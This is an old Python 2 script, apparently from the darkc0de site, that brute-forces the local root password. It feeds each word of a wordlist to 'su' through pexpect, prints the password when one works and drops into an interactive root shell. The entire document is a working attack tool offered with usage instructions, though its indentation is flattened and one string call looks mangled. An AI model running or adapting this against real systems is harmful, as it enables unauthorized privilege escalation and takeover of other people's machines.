#!/usr/bin/python 
#Local Root BruteForcer 
 
#http://www.darkc0de.com 
#d3hydr8[at]gmail[dot]com 
 
import sys 
try: 
import pexpect 
except(ImportError): 
print "You need the pexpect module." 
print "http://www.noah.org/wiki/Pexpect" 
sys.exit(1) 
 
#Change this if needed. 
LOGIN_ERROR = 'su: incorrect password' 
 
def brute(word): 
print "Trying:",word 
child = pexpect.spawn ('su') 
child.expect ('Password: ') 
child.sendline (word) 
i = child.expect (['.+\s#\s',LOGIN_ERROR]) 
if i  == 0: 
print "\t[!] Root Password:",word 
child.sendline ('whoami') 
print child.before 
child.interact() 
#if i == 1: 
#print "Incorrect Password" 
 
if len(sys.argv) != 2: 
print "Usage : ./rootbrute.py " 
print "Eg: ./rootbrute.py words.txt" 
sys.exit(1) 
 
try: 
words = open(sys.argv[1], "r").readlines() 
except(IOError): 
  print "Error: Check your wordlist path" 
  sys.exit(1) 
 
print "[+] Loaded:",len(words),"words" 
print "[+] BruteForcing..." 
for word in words: 
brute(word.replace("",""))